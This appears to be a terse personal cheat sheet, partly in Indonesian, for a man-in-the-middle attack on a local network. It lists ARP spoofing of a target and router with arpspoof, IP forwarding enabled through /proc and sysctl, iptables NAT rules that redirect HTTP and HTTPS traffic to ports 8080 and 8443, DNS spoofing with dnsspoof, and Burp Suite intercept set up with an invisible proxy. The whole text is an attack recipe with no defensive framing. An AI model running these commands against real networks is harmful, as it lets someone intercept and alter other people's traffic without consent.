MITM: burpsuite
arpspoof
arpspoof -i <interface> -t <target> <router>
Redirect & IP Forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward sysctl -w net.ipv4.ip_forward=1
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080 iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8443
dnsspoof -i <interface>
Burpsuite
burpsuite
Setup
- klik Proxy > Intercept > Intercept is on
Kita perlu mengarahkan
- traffic 80 ke port 8080 + enable invisible proxy
- traffic 443 ke port 8443 + enable invisible proxy